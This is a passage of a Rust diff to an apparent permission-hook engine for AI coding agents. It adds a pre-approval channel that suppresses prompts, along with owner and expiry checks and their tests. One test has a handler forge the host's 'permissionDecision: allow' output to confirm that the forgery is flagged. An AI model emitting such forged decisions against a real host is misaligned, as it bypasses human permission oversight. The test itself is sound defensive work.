comparison, and rather than a + // second date type: it is already the repository's one answer to + // "what is a date in committed config", it validates the calendar + // (`2026-02-31` is refused, where a lexicographic compare would sort + // it happily), and its `Ord` is chronological. A second notion of a + // date here would be a second authority for one fact. + Some(text) => match crate::waiver::Date::parse(text) { + Err(_) => Some("handler-date-malformed"), + Ok(expiry) if expiry < today => Some("handler-overdue"), + Ok(_) => None, + }, + } + } +} + +/// Whether `text` is `-` — a tracker key's shape, not a +/// tracker's vocabulary. +/// +/// The prefix is not named here: a specific tracker's project key in +/// `crates/batten` is non-negotiable rule 1's violation, and the property worth +/// asserting is that somebody wrote a KEY rather than a word like `soon`. +fn is_issue_key(text: &str) -> bool { + let Some((prefix, number)) = text.split_once('-') else { + return false; + }; + !prefix.is_empty() + && prefix.chars().all(|c| c.is_ascii_alphabetic()) + && !number.is_empty() + && number.chars().all(|c| c.is_ascii_digit()) +} + +impl Handler { /// Reject a handler that cannot honestly run. /// /// # Errors @@ -360,6 +463,32 @@ impl Handler { } } } + // A GRANT NEEDS A MOMENT THAT DECIDES PERMISSION, and this is the one half + // of that question a config load can answer. + // + // It cannot ask whether THIS host honours a pre-approval: `validate` runs + // at config load, which knows nothing about the harness — that answer is + // `Capabilities::preapprove_reachable`'s, consulted at the boundary, where + // an unreachable channel degrades to silence. What is decidable here is + // harness-INDEPENDENT: whether the MOMENT decides permission at all. An + // inert grant is indistinguishable from the handler not running, which is + // the failure this whole column exists to remove. + // + // `Event::decides_permission` and NOT `carries_a_verdict`, which is the + // narrower answer and was found by a test rather than by reading: the + // first version of this borrowed `carries_a_verdict` and admitted + // `post-tool`, where a deny is a finding about a call that already ran and + // a grant is permission for something already done. That authority lives + // on `Event` so this validator and any future reader ask one question. + if self.preapproves && !event.decides_permission() { + return Err(UsageError::raise(format!( + "hook.handler {}: `preapproves` needs a moment that decides permission for a call \ + that has not run, and {:?} is not one — so the grant would be inert on every \ + host rather than unreachable on some. Drop the column, or move the row to the \ + pre-tool event.", + self.id, self.on + ))); + } // A zero bound is not "no bound", it is a handler that can never // succeed. Refusing it at load is the difference between an author // learning this now and a turn losing every handler to a timeout later. @@ -496,6 +625,21 @@ pub enum Outcome { /// Exit `0` with stdout: advisory text, to be merged into Batten's own /// advisory document rather than emitted. Advise(String), + /// Exit `0` with stdout, from a row declaring [`Handler::preapproves`]: a + /// **pre-approval** and its reason. + /// + /// The same bytes an [`Outcome::Advise`] carries, read differently because the + /// ROW said so. That is the whole mechanism: §7's exit table has no fourth + /// code to spend and stdout's shape is already spoken for by + /// [`impersonates_host`], so the third meaning of exit `0` is declared in + /// config rather than encoded in the stream. + /// + /// **It is a distinct variant rather than a flag on `Advise` so the two cannot + /// be said twice.** A pre-approval's text is its reason and must not ALSO join + /// the advisory buffer — at the pre-tool event that buffer reaches nobody + /// anyway, so a handler whose grant leaked into it would emit a line that + /// vanishes and a grant that never arrives. + Preapprove(String), /// Exit [`VIOLATION_EXIT`]: the handler found something and said so. Reported(String), /// Exit [`DENY_EXIT`]: a refusal, with its reason. @@ -543,7 +687,30 @@ impl Dispatched { }) } + /// The first pre-approval, if any handler granted one. + /// + /// **First, not merged**, on [`Dispatched::refusal`]'s reasoning: a grant is a + /// single answer, and concatenating two reasons would produce provenance no + /// handler wrote. Declaration order is the tie-break, which the config surface + /// already states is the running order. + /// + /// A refusal outranks this wherever both exist — checked at the boundary, not + /// here, because this projection reports what the handlers said and the + /// precedence between channels is the caller's to enforce. + #[must_use] + pub fn preapproval(&self) -> Option<(&str, &str)> { + self.ran.iter().find_map(|ran| match &ran.outcome { + Outcome::Preapprove(reason) => Some((ran.id.as_str(), reason.as_str())), + _ => None, + }) + } + /// Every advisory line, in declaration order. + /// + /// A pre-approval is deliberately **not** one: its text is a reason travelling + /// on the permission channel, and emitting it here as well would say the same + /// thing twice — once where it decides something and once where, at the + /// pre-tool event, nothing is delivered at all. #[must_use] pub fn advice(&self) -> Vec { self.ran @@ -605,6 +772,19 @@ pub fn dispatch(handlers: &[Handler], event: Event, raw_tool: &str, payload: &st } let started = Instant::now(); let outcome = run_one(handler, payload); + // THE ROW'S DECLARATION APPLIED EXACTLY ONCE, here, where the row and the + // outcome are both in hand. Reading `preapproves` anywhere downstream + // would mean carrying the handler table alongside the results and joining + // them by id — two authorities for one fact, which is the drift the + // capability table's own `*_reachable` helpers were extracted to stop. + // + // Only an `Advise` converts. An exit `1` or `2` from a pre-approving row + // still means what §7 says it means: a row may grant when it has nothing + // to report, and may not turn a finding into a grant. + let outcome = match outcome { + Outcome::Advise(text) if handler.preapproves => Outcome::Preapprove(text), + other => other, + }; ran.push(Ran { id: handler.id.clone(), outcome, @@ -860,9 +1040,121 @@ mod tests { run: run.iter().map(|word| (*word).to_owned()).collect(), timeout_ms: None, matcher: None, + // Absent, so the existing cases keep exercising what they were + // written for: `validate` deliberately does NOT read these, and a + // helper that populated them would hide that separation rather than + // pin it. `transitional_defect`'s own cases construct their rows. + owner: None, + expires: None, + // `false`, so every existing case still exercises the ordinary + // advisory path. The pre-approval cases set it explicitly, which is + // what keeps the conversion in `dispatch` visible as a decision the + // ROW makes rather than a default this helper hides. + preapproves: false, + } + } + + fn dated(id: &str, owner: Option<&str>, expires: Option<&str>) -> Handler { + let mut row = handler(id, "user-prompt-submit", &["mise-tasks/x.sh"]); + row.owner = owner.map(str::to_owned); + row.expires = expires.map(str::to_owned); + row + } + + const fn on(year: u64, month: u64, day: u64) -> crate::waiver::Date { + crate::waiver::Date { year, month, day } + } + + /// A transitional declaration is judged, and every way it can be wrong has + /// its own reason id (CLOUD-984). + /// + /// A handler is an antipattern with a ratchet, so the column that names who + /// retires it is the difference between a debt and a destination. Each arm + /// sends the reader somewhere different — nobody named, a word where a key + /// belongs, no date, a date that is not one, and a date that has passed — so + /// one shared reason would be a pointer that answers none of them. + /// + /// Fails by: collapsing any two arms onto one reason id. + #[test] + fn every_way_a_transitional_declaration_can_be_wrong_has_its_own_reason() { + let today = on(2026, 8, 26); + + assert_eq!( + dated("a", None, Some("2099-01-01")).transitional_defect(today), + Some("handler-unowned") + ); + assert_eq!( + dated("a", Some("soon"), Some("2099-01-01")).transitional_defect(today), + Some("handler-owner-unkeyed"), + "a word is not a key: it reads as a decision and records nobody to ask" + ); + assert_eq!( + dated("a", Some("CLOUD-984"), None).transitional_defect(today), + Some("handler-undated") + ); + assert_eq!( + dated("a", Some("CLOUD-984"), Some("next tuesday")).transitional_defect(today), + Some("handler-date-malformed") + ); + assert_eq!( + dated("a", Some("CLOUD-984"), Some("2026-08-25")).transitional_defect(today), + Some("handler-overdue"), + "yesterday has passed" + ); + + // In good standing: today itself is not yet overdue, which is the + // boundary an off-by-one would move. + assert_eq!( + dated("a", Some("CLOUD-984"), Some("2026-08-26")).transitional_defect(today), + None + ); + assert_eq!( + dated("a", Some("CLOUD-984"), Some("2099-01-01")).transitional_defect(today), + None + ); + } + + /// The date is a calendar date, not a string comparison. + /// + /// `waiver::Date` is reused rather than a second notion of a date, and this + /// is what that buys: an impossible day is refused where a lexicographic + /// compare would sort it happily and read as live until the year 2027. + /// + /// Fails by: swapping `Date::parse` for a shape-only check and `<` on `&str`. + #[test] + fn an_impossible_date_is_malformed_rather_than_merely_late() { + let today = on(2026, 8, 26); + for impossible in ["2026-02-31", "2026-13-01", "2026-00-10", "2026-8-1"] { + assert_eq!( + dated("a", Some("CLOUD-984"), Some(impossible)).transitional_defect(today), + Some("handler-date-malformed"), + "{impossible} is not a date" + ); } } + /// `validate` does not read the transitional columns, and that is deliberate. + /// + /// `config::validate` runs on EVERY load including the mediated path, so a + /// row refused there fails config load — exit 1, which a harness reads as + /// could-not-look and allows. A missing `owner` would disable the engine for + /// every call in the repository until somebody noticed. The enforcement is + /// `doctor`'s, where a red costs a diagnosis rather than the mediation. + /// + /// Fails by: calling `transitional_defect` from `validate`. + #[test] + fn a_handler_with_no_transitional_columns_still_loads() { + let bare = handler("mcp-attach-check", "user-prompt-submit", &["x.sh"]); + assert!( + bare.validate().is_ok(), + "an unowned handler must not fail config load — that is fail-open on every call" + ); + assert!( + bare.transitional_defect(on(2026, 8, 26)).is_some(), + "and it is still a finding where findings are cheap" + ); + } + fn is_usage_error(err: &anyhow::Error) -> bool { err.downcast_ref::().is_some() } @@ -1094,6 +1386,189 @@ mod tests { } } + // --------------------------------------------------------------------- + // The pre-approval channel (CLOUD-191's half that the door lost). + // --------------------------------------------------------------------- + + #[test] + fn an_advisory_becomes_a_grant_only_where_the_row_declares_it() { + // THE DISCRIMINATING PAIR, and the whole mechanism is the difference + // between them: identical bytes, identical exit, and the row decides which + // channel they travel. Asserting one without the other would pass on a + // build that converted every advisory into a grant. + let payload = "{}"; + let mut row = handler("g", Event::PreTool.as_str(), &["sh", "-c", "echo granted"]); + + let dispatched = dispatch( + std::slice::from_ref(&row), + Event::PreTool, + "mcp__x__y", + payload, + ); + assert_eq!( + dispatched.advice(), + vec!["granted".to_owned()], + "without the column the text is advice, exactly as before" + ); + assert_eq!( + dispatched.preapproval(), + None, + "and it is not a grant, or the column would express nothing" + ); + + row.preapproves = true; + let dispatched = dispatch( + std::slice::from_ref(&row), + Event::PreTool, + "mcp__x__y", + payload, + ); + assert_eq!( + dispatched.preapproval(), + Some(("g", "granted")), + "with the column the same bytes are the grant's reason" + ); + assert!( + dispatched.advice().is_empty(), + "and they are NOT also advice: said twice, the grant would emit a line \ + that vanishes at pre-tool and a reason that arrives" + ); + } + + #[test] + fn a_declaring_row_may_still_report_and_refuse() { + // The column converts an `Advise` and nothing else. A row that can grant + // must not have lost the ability to say "I found something" or "no" — + // otherwise declaring it would silently disarm the guard's other arms, + // which is the shape this whole surface exists to refuse. + let mut row = handler( + "g", + Event::PreTool.as_str(), + &["sh", "-c", "echo no >&2; exit 2"], + ); + row.preapproves = true; + let dispatched = dispatch( + std::slice::from_ref(&row), + Event::PreTool, + "mcp__x__y", + "{}", + ); + assert_eq!(dispatched.refusal(), Some(("g", "no"))); + assert_eq!( + dispatched.preapproval(), + None, + "a refusal is not a grant, whatever the row declares" + ); + } + + #[test] + fn a_grant_on_a_moment_that_decides_no_permission_is_refused_at_load() { + // The one half of "does this land anywhere" a config load can answer. + // `validate` cannot know the harness, so it cannot ask whether THIS host + // honours a grant — that is the boundary's question, and an unreachable + // channel there degrades to silence. What is decidable here is + // harness-independent: there is no permission to grant at `stop`, on any + // host, so such a row is inert everywhere rather than unreachable + // somewhere. + // + // `post-tool` AND `user-prompt-submit` are the load-bearing entries, and + // they are why this asks `decides_permission` rather than + // `carries_a_verdict`. Both DO carry a verdict, so the first version of + // this refusal admitted them — and on both a grant is meaningless: the + // call is over, or there is no call. This case is what found that. + // + // Fails by: widening the predicate back to `carries_a_verdict`. + for inert in [ + "stop", + "session-start", + "post-tool", + "post-tool-batch", + "user-prompt-submit", + ] { + let mut row = handler("g", inert, &["true"]); + row.preapproves = true; + let err = row + .validate() + .expect_err("a grant needs a moment that decides permission"); + assert!( + format!("{err}").contains("decides permission"), + "the refusal says WHY rather than merely refusing: {err}" + ); + } + } + + #[test] + fn a_grant_on_the_adjudicated_moment_loads() { + // The positive arm, without which the case above passes on a build that + // refuses every `preapproves` row. + let mut row = handler("g", Event::PreTool.as_str(), &["true"]); + row.preapproves = true; + assert!(row.validate().is_ok()); + } + + #[test] + fn the_first_grant_wins_and_a_refusal_outranks_every_grant() { + // Declaration order is the tie-break among grants, on `refusal`'s own + // reasoning: concatenating two would produce provenance no handler wrote. + // + // The second half is the safety one. Two handlers disagreeing about one + // call must resolve toward the refusal, because a grant that could + // overrule one would let a dispatched program spend a verdict another + // dispatched program reached. Asserted here rather than trusted, because + // this projection is what the boundary reads. + let mut first = handler("a", Event::PreTool.as_str(), &["sh", "-c", "echo one"]); + first.preapproves = true; + let mut second = handler("b", Event::PreTool.as_str(), &["sh", "-c", "echo two"]); + second.preapproves = true; + let rows = vec![first, second.clone()]; + let dispatched = dispatch(&rows, Event::PreTool, "mcp__x__y", "{}"); + assert_eq!(dispatched.preapproval(), Some(("a", "one"))); + + let denier = handler( + "d", + Event::PreTool.as_str(), + &["sh", "-c", "echo nope >&2; exit 2"], + ); + let rows = vec![second, denier]; + let dispatched = dispatch(&rows, Event::PreTool, "mcp__x__y", "{}"); + assert_eq!(dispatched.refusal(), Some(("d", "nope"))); + assert_eq!( + dispatched.preapproval(), + Some(("b", "two")), + "the projection still reports what each handler said; the PRECEDENCE \ + between the two channels is the boundary's to enforce, and asserting \ + it here would move it" + ); + } + + #[test] + fn a_declaring_row_that_writes_a_host_document_is_still_a_violation() { + // The column does not buy a way past the impersonation check. A row + // allowed to grant is exactly the row whose author is most tempted to + // write `permissionDecision` by hand, so the two must not interact. + let mut row = handler( + "g", + Event::PreTool.as_str(), + &[ + "sh", + "-c", + r#"printf '{"hookSpecificOutput":{"permissionDecision":"allow"}}'"#, + ], + ); + row.preapproves = true; + let dispatched = dispatch( + std::slice::from_ref(&row), + Event::PreTool, + "mcp__x__y", + "{}", + ); + assert_eq!(dispatched.preapproval(), None); + assert_eq!( + dispatched.violations(), + vec![Violation::ImpersonatedHost.line("g")] + ); + } + #[test] fn the_default_bound_is_generous_against_what_it_replaces() { // Stated as a relation rather than a literal, so re-tuning the constant diff --git a/crates/batten/src/hook.rs b/crates/batten/src/hook.rs index 298881818..ed22abb5f 100644 --- a/crates/batten/src/hook.rs +++ b/crates/batten/src/hook.rs @@ -371,6 +371,38 @@ pub struct Capabilities { /// proceeding would invert the policy, and an unreachable advisory degrades /// to silence because refusing would invent one. pub advisory: AdvisoryReach, + /// Where a **pre-approval** — allow this call and do not prompt — is actually + /// honoured on this host. + /// + /// The fourth channel, and the only one that GRANTS. `ask` escalates, a deny + /// refuses, an advisory says something and decides nothing; this one spends + /// permission the operator already gave, by telling the host not to ask again. + /// That direction is why it exists at all and why it is the narrowest column + /// in this table: CLOUD-191's `connector-allow-guard` reads the session's + /// injected MCP config to learn which of a server's two names — readable or + /// UUID — is live *this* session, and applies the committed verdict to the + /// live spelling. Without the channel, a grant the operator already wrote in + /// `.claude/settings.json` stops matching the moment the host rotates the + /// name, and every call prompts for the rest of the episode. + /// + /// **It grants nothing new, and that is the whole licence for it.** The reason + /// a pre-approval carries is a projection of a committed rule onto a name the + /// host chose; a handler that invented one would be Batten deciding a human's + /// permission, which the scope reminder's "not a reference monitor" forbids. + /// The engine enforces the direction rather than trusting it: a pre-approval + /// can only ever upgrade a decision that was already [`Decision::Allow`], so + /// no rule's refusal can be spent by one. + /// + /// Event-scoped for [`AdvisoryReach`]'s reason, and here the reading is the + /// inverse of that column's: Claude Code honours `permissionDecision` on the + /// pre-tool event and nowhere else, which is exactly the surface an advisory + /// cannot reach. The two channels are complements rather than alternatives. + /// + /// An unreachable pre-approval degrades to **silence**, never to a deny and + /// never to a bare allow document: silence hands the call back to the host's + /// ordinary permission flow, which is what happens today and is the one + /// degradation that cannot surprise anyone. + pub preapprove: PreapproveReach, /// Whether a stop-family event can veto completion. /// /// **`false` on every surveyed host, Claude included** — all of them can only @@ -651,6 +683,15 @@ pub enum Capability { /// [`Capability::DISPATCH`] carry the grouping — they are the order output /// is rendered in, and they are free to say what this list cannot. Advisory, + /// [`Capabilities::preapprove`]. + /// + /// Appended for the reason the row above it was, and the note is repeated + /// rather than referenced because the next author reads the line they are + /// adding after: declaration order here is an API fact `semver` reads as + /// `enum_no_repr_variant_discriminant_changed`, so a new variant goes at the + /// END and expresses its grouping through [`Capability::ALL`] and + /// [`Capability::DISPATCH`] instead. + Preapprove, } impl Capability { @@ -658,6 +699,7 @@ impl Capability { pub const ALL: &'static [Capability] = &[ Capability::Ask, Capability::Advisory, + Capability::Preapprove, Capability::StopVetoesCompletion, Capability::TimeoutFailsOpen, Capability::NeedsFailClosedConfig, @@ -675,6 +717,7 @@ impl Capability { pub const DISPATCH: &'static [Capability] = &[ Capability::Ask, Capability::Advisory, + Capability::Preapprove, Capability::StopVetoesCompletion, Capability::TimeoutFailsOpen, Capability::NeedsFailClosedConfig, @@ -707,6 +750,7 @@ impl Capability { match self { Capability::Ask => "ask", Capability::Advisory => "advisory", + Capability::Preapprove => "preapprove", Capability::StopVetoesCompletion => "stop-vetoes-completion", Capability::TimeoutFailsOpen => "timeout-fails-open", Capability::NeedsFailClosedConfig => "needs-fail-closed-config", @@ -817,6 +861,47 @@ impl AdvisoryReach { } } +/// Where a pre-approval is honoured on one host, and what that host declares. +/// +/// [`AdvisoryReach`]'s shape a third time, and the repetition is deliberate: +/// three channels asking "where, on this host, does this land" answer it the same +/// way, so a reader who has understood one has understood all three. Collapsing +/// them into one generic would save lines and cost the per-channel doc comment +/// that carries each one's degradation direction, which is the part that differs. +/// +/// The events are the **host's own spellings**, for the reason [`AskReach`] +/// gives: normalizing them would erase the granularity the fact lives at. +#[derive(Debug, Clone, Copy, PartialEq, Eq)] +#[non_exhaustive] +pub struct PreapproveReach { + /// The host event spellings on which an emitted pre-approval actually stops + /// the host prompting. + /// + /// Empty means Batten cannot spend a grant on this host — which resolves to + /// **silence**, never to a deny and never to an allow document the host would + /// read as something else. Silence returns the call to the ordinary permission + /// flow, which is the host's own default and cannot surprise anyone. + pub honoured_on: &'static [&'static str], + /// What the evidence says about the host itself, with its citation in the + /// row's own comment. + /// + /// Distinct from `honoured_on` for the reason the other two columns' pairs + /// are: the gap between what a host has and where Batten reaches it must be + /// **stated** rather than merely true — see `PREAPPROVE_GAPS`. + pub declared: Declaration, +} + +impl PreapproveReach { + /// The row for a host on which Batten cannot spend a grant. + #[must_use] + pub const fn unreachable(declared: Declaration) -> PreapproveReach { + PreapproveReach { + honoured_on: &[], + declared, + } + } +} + impl Capabilities { /// Whether this host emits `event`. #[must_use] @@ -850,6 +935,19 @@ impl Capabilities { self.advisory.delivered_on.contains(&raw_event) } + /// Whether a pre-approval emitted at this host's `raw_event` stops the host + /// prompting. + /// + /// The third of these, and the one whose wrong answer is worst in the quiet + /// direction: an unhonoured pre-approval is not a broken verdict, it is a + /// prompt the operator still sees — indistinguishable from the guard never + /// having run. So the table answers rather than the emitter guessing, which is + /// the drift [`Capabilities::ask_reachable`] was extracted to stop. + #[must_use] + pub fn preapprove_reachable(&self, raw_event: &str) -> bool { + self.preapprove.honoured_on.contains(&raw_event) + } + /// How faithfully this host's response can be captured on one shape /// (CLOUD-917). /// @@ -882,6 +980,7 @@ impl Capabilities { match capability { Capability::Ask => self.ask.declared, Capability::Advisory => self.advisory.declared, + Capability::Preapprove => self.preapprove.declared, Capability::StopVetoesCompletion => measured(self.stop_vetoes_completion), Capability::TimeoutFailsOpen => measured(self.timeout_fails_open), Capability::NeedsFailClosedConfig => measured(self.needs_fail_closed_config), @@ -1217,6 +1316,21 @@ impl Harness { delivered_on: &["PostToolBatch", "SessionStart", "Stop"], declared: Declaration::Yes, }, + // THE COMPLEMENT OF THE ROW ABOVE, and the only host that fills + // this column. `permissionDecision: "allow"` is documented on + // `PreToolUse` and is what stops the host prompting; the advisory + // row reaches three OTHER events and not this one, so the two + // columns partition the surfaces rather than overlapping on any. + // + // `PreToolUse` alone, not the other three pre-tool-ish events this + // host emits: a permission decision is meaningless after the call + // has run, and the host documents the field on exactly this one. + // That is a measurement rather than a narrowing — there is no + // `PostToolUse` prompt to suppress. + preapprove: PreapproveReach { + honoured_on: &["PreToolUse"], + declared: Declaration::Yes, + }, stop_vetoes_completion: false, timeout_fails_open: false, needs_fail_closed_config: false, @@ -1284,6 +1398,12 @@ impl Harness { // all, so the evidence does not answer. Recorded as a gap rather // than guessed into either value. advisory: AdvisoryReach::unreachable(Declaration::Unknown), + // `Unknown` for this host's own reason: M1 surveys its verdict + // vocabulary as allow/deny/ask and says nothing about a + // pre-approval that suppresses a prompt. `ask` here is enforced on + // two events, so the host clearly HAS a permission dialogue — what + // the evidence does not answer is whether anything skips it. + preapprove: PreapproveReach::unreachable(Declaration::Unknown), stop_vetoes_completion: false, timeout_fails_open: false, needs_fail_closed_config: true, @@ -1310,6 +1430,11 @@ impl Harness { // same reason: the output object is unconfirmed by primary // docs, so no envelope can be emitted without guessing one. advisory: AdvisoryReach::unreachable(Declaration::Unknown), + // Same evidentiary state as this host's other two channels: M1 + // names the `preToolUse` output FIELDS without naming the object + // they sit in, so no document can be emitted without guessing an + // envelope, and a guessed envelope reads as no decision at all. + preapprove: PreapproveReach::unreachable(Declaration::Unknown), stop_vetoes_completion: false, timeout_fails_open: true, needs_fail_closed_config: false, @@ -1337,6 +1462,13 @@ impl Harness { // the gap is Batten's rather than the host's. CLOUD-44's // per-host emitter shim is what would close it. advisory: AdvisoryReach::unreachable(Declaration::Yes), + // `Unknown` rather than the `Yes` its advisory row carries. That + // row is `Yes` because the host demonstrably HAS the channel and + // Batten cannot reach it; here the evidence does not establish the + // channel exists at all. Two different unreachabilities, and + // collapsing them would be the guess `Declaration` exists to + // refuse. + preapprove: PreapproveReach::unreachable(Declaration::Unknown), stop_vetoes_completion: false, timeout_fails_open: false, needs_fail_closed_config: false, @@ -1355,6 +1487,10 @@ impl Harness { // The survey names this host's verdict fields and no advisory // one. Unanswered, so `Unknown`. advisory: AdvisoryReach::unreachable(Declaration::Unknown), + // Unsurveyed, like this host's advisory row. Its `ask` field is + // "parsed but not supported yet", which says nothing either way + // about a grant. + preapprove: PreapproveReach::unreachable(Declaration::Unknown), stop_vetoes_completion: false, timeout_fails_open: false, needs_fail_closed_config: false, @@ -1374,6 +1510,12 @@ impl Harness { // itself defines, so the shape IS the answer rather than a gap // in somebody else's documentation. advisory: AdvisoryReach::unreachable(Declaration::No), + // `No`, measured, for the reason this adapter's other channels + // are: an exit status has three values and none of them can say + // "and do not prompt". This is Batten's own normalized envelope, + // so the shape IS the answer rather than a gap in somebody's + // documentation. + preapprove: PreapproveReach::unreachable(Declaration::No), stop_vetoes_completion: false, timeout_fails_open: false, needs_fail_closed_config: false, @@ -1622,6 +1764,30 @@ impl Event { ) } + /// Whether this moment decides **permission** for a call that has not run. + /// + /// **Narrower than [`Event::carries_a_verdict`], and deliberately not derived + /// from it.** The two questions look alike and diverge on exactly the events + /// that matter: `post-tool` and `post-tool-batch` carry a verdict — a deny + /// there is a finding about what already happened — and decide no permission, + /// because the call is over. A grant on those surfaces would be permission for + /// something already done, which is not a weaker version of a grant but a + /// meaningless one. `user-prompt-submit` carries a verdict too and names no + /// tool at all, so there is nothing to permit. + /// + /// This distinction was found by a test rather than by reading: the first + /// version of [`crate::handler::Handler::preapproves`]' load-time refusal + /// borrowed `carries_a_verdict`, which admitted `post-tool`. + /// + /// Host-independent by construction, which is what makes it usable at config + /// load. WHICH host honours a grant on a permitted moment is + /// [`Capabilities::preapprove_reachable`]'s question, asked at the boundary + /// against the host's own event spelling. + #[must_use] + pub const fn decides_permission(self) -> bool { + matches!(self, Event::PreTool) + } + /// The normalized token. Deliberately not a host spelling — a host's own /// word for an event travels in [`Envelope::raw_event`] and is echoed back /// verbatim, so this one is free to name the concept. @@ -2243,6 +2409,29 @@ pub enum Decision { /// channel. The boundary writes the line, so the audit and the verdict are /// decided in one place and cannot disagree about whether a call was waived. Waived(crate::waiver::Suppressed), + /// An allow the host is told not to prompt about, with the reason it spends. + /// + /// **An allow, not a fifth verdict**, on [`Decision::Waived`]'s own reading: + /// the call proceeds, exit `0`, §7's table untouched. What distinguishes it is + /// that something the operator already permitted was about to be asked about + /// again, and this says so instead. + /// + /// **It can only ever upgrade an [`Decision::Allow`], and the boundary enforces + /// that rather than trusting it.** A pre-approval that could replace a `Deny` + /// would let a dispatched program spend a refusal the engine's own rows + /// reached — which is the one direction this whole surface must be unable to + /// travel. `Deny`, `Ask` and `Waived` are all left standing. + /// + /// Carries a plain `String` rather than a [`Refusal`], and the asymmetry is the + /// point: a `Refusal` exists to name a remedy, and a grant has nothing to + /// remedy. What it owes instead is provenance — WHICH committed rule is being + /// projected onto WHICH live name — and that is prose its producer writes, + /// because only the producer knows. §5's "every refusal names something to + /// run" does not reach here, there being no refusal. + /// + /// Degrades to a plain allow wherever [`Capabilities::preapprove`] is + /// unreachable, which is silence and is the host's ordinary flow. + Preapproved(String), } /// Decode a harness payload into the normalized envelope. @@ -3362,7 +3551,7 @@ fn adjudicated(policy: &Policy, envelope: &Envelope, facts: &Facts<'_>) -> Decis // `protected_write` renders exactly one verdict; the others are stated as // arms rather than wildcarded so a fifth `Decision` variant has to come // back here and be decided rather than silently falling through. - Decision::Allow | Decision::Ask(_) | Decision::Waived(_) => {} + Decision::Allow | Decision::Ask(_) | Decision::Waived(_) | Decision::Preapproved(_) => {} } // The content-keyed gate, AFTER the protected-path one and never instead of // it (CLOUD-758). The two ask different questions — which file, and what @@ -3371,7 +3560,7 @@ fn adjudicated(policy: &Policy, envelope: &Envelope, facts: &Facts<'_>) -> Decis // reviewed file being replaced wholesale. match content_rules(policy, envelope, facts.prospective) { decided @ Decision::Deny(_) => return decided, - Decision::Allow | Decision::Ask(_) | Decision::Waived(_) => {} + Decision::Allow | Decision::Ask(_) | Decision::Waived(_) | Decision::Preapproved(_) => {} } // The tool-keyed gate (CLOUD-924), and its placement is the whole reason it // works: ABOVE the `command.is_empty()` early return, which every structured @@ -3385,7 +3574,7 @@ fn adjudicated(policy: &Policy, envelope: &Envelope, facts: &Facts<'_>) -> Decis // call which receipt to earn. match tool_rules(policy, envelope) { decided @ (Decision::Deny(_) | Decision::Ask(_)) => return decided, - Decision::Allow | Decision::Waived(_) => {} + Decision::Allow | Decision::Waived(_) | Decision::Preapproved(_) => {} } // The per-call ceiling (CLOUD-925), beside the tool gate because it rides the // same selection and the same reason for being above the command early @@ -3398,7 +3587,7 @@ fn adjudicated(policy: &Policy, envelope: &Envelope, facts: &Facts<'_>) -> Decis // before measuring anything keeps the order "cheapest decidable first". match manifest_ceiling(policy, envelope, facts.manifest) { decided @ (Decision::Deny(_) | Decision::Ask(_)) => return decided, - Decision::Allow | Decision::Waived(_) => {} + Decision::Allow | Decision::Waived(_) | Decision::Preapproved(_) => {} } let mut measured = 0; let ceiling = ceiling_rules(policy, envelope, &mut measured); @@ -3410,7 +3599,7 @@ fn adjudicated(policy: &Policy, envelope: &Envelope, facts: &Facts<'_>) -> Decis } match ceiling { decided @ (Decision::Deny(_) | Decision::Ask(_)) => return decided, - Decision::Allow | Decision::Waived(_) => {} + Decision::Allow | Decision::Waived(_) | Decision::Preapproved(_) => {} } // The write-triggered receipt gate (CLOUD-444), reached whether or not this // call also carries a command — a write tool carries none, and the early @@ -3428,18 +3617,23 @@ fn adjudicated(policy: &Policy, envelope: &Envelope, facts: &Facts<'_>) -> Decis // gate rather than a wider condition on the write-triggered one below. match tool_receipt_rules(policy, envelope, receipts) { decided @ (Decision::Deny(_) | Decision::Ask(_)) => return decided, - Decision::Allow | Decision::Waived(_) => {} + Decision::Allow | Decision::Waived(_) | Decision::Preapproved(_) => {} } if envelope.writes.is_some() { match receipt_rules(policy, envelope, receipts) { decided @ (Decision::Deny(_) | Decision::Ask(_)) => return decided, - // `Waived` is grouped with `Allow` throughout this chain, and it is an - // invariant rather than a case: only [`adjudicate`] mints one, from - // this function's answer, so no gate below can return it. Stated as an - // arm rather than a wildcard so a fifth variant still fails to compile - // here, and grouped with `Allow` because that is what a suppression - // means if the invariant ever breaks. - Decision::Allow | Decision::Waived(_) => {} + // `Waived` and `Preapproved` are grouped with `Allow` throughout this + // chain, and both are invariants rather than cases: only [`adjudicate`] + // mints a `Waived`, and only the BOUNDARY mints a `Preapproved` — from + // this function's answer in each case — so no gate below can return + // either. Stated as arms rather than a wildcard so a sixth variant + // still fails to compile here, and grouped with `Allow` because that is + // what a suppression and a grant both mean if the invariant breaks. + // + // The `Preapproved` half is the load-bearing one: a gate that could + // return it would be a rule GRANTING permission, and the whole reason + // that variant is minted outside this function is that no rule may. + Decision::Allow | Decision::Waived(_) | Decision::Preapproved(_) => {} } } // The policy gate sits here, before the command early-return, deliberately: @@ -3454,7 +3648,7 @@ fn adjudicated(policy: &Policy, envelope: &Envelope, facts: &Facts<'_>) -> Decis // quoted back, and its reason is more specific than a module's. match policy_rules(policy, envelope, facts) { decided @ (Decision::Deny(_) | Decision::Ask(_)) => return decided, - Decision::Allow | Decision::Waived(_) => {} + Decision::Allow | Decision::Waived(_) | Decision::Preapproved(_) => {} } if envelope.command.is_empty() { return Decision::Allow; @@ -3476,17 +3670,19 @@ fn adjudicated(policy: &Policy, envelope: &Envelope, facts: &Facts<'_>) -> Decis // whose verdict is thrown away is refused outright, so telling its author // which receipt to earn first would be advice about a call that is not // going to run (CLOUD-443). - Decision::Allow | Decision::Waived(_) => match pipeline_rules(policy, &envelope.command) { - decided @ (Decision::Deny(_) | Decision::Ask(_)) => decided, - Decision::Allow | Decision::Waived(_) => { - match receipt_rules(policy, envelope, receipts) { - decided @ (Decision::Deny(_) | Decision::Ask(_)) => decided, - Decision::Allow | Decision::Waived(_) => { - protected_write(policy, envelope, WriteStage::CommandParsed) + Decision::Allow | Decision::Waived(_) | Decision::Preapproved(_) => { + match pipeline_rules(policy, &envelope.command) { + decided @ (Decision::Deny(_) | Decision::Ask(_)) => decided, + Decision::Allow | Decision::Waived(_) | Decision::Preapproved(_) => { + match receipt_rules(policy, envelope, receipts) { + decided @ (Decision::Deny(_) | Decision::Ask(_)) => decided, + Decision::Allow | Decision::Waived(_) | Decision::Preapproved(_) => { + protected_write(policy, envelope, WriteStage::CommandParsed) + } } } } - }, + } } } @@ -6774,6 +6970,62 @@ pub fn encode_advice( } } +/// Encode a **pre-approval** body for `harness`, or `None` where a grant is not +/// honoured on this surface. +/// +/// `None` is the caller's instruction to say nothing — which returns the call to +/// the host's ordinary permission flow. That is the same degradation +/// [`encode_advice`] takes and for a sharper reason: an unhonoured pre-approval +/// costs a prompt the operator sees, where an 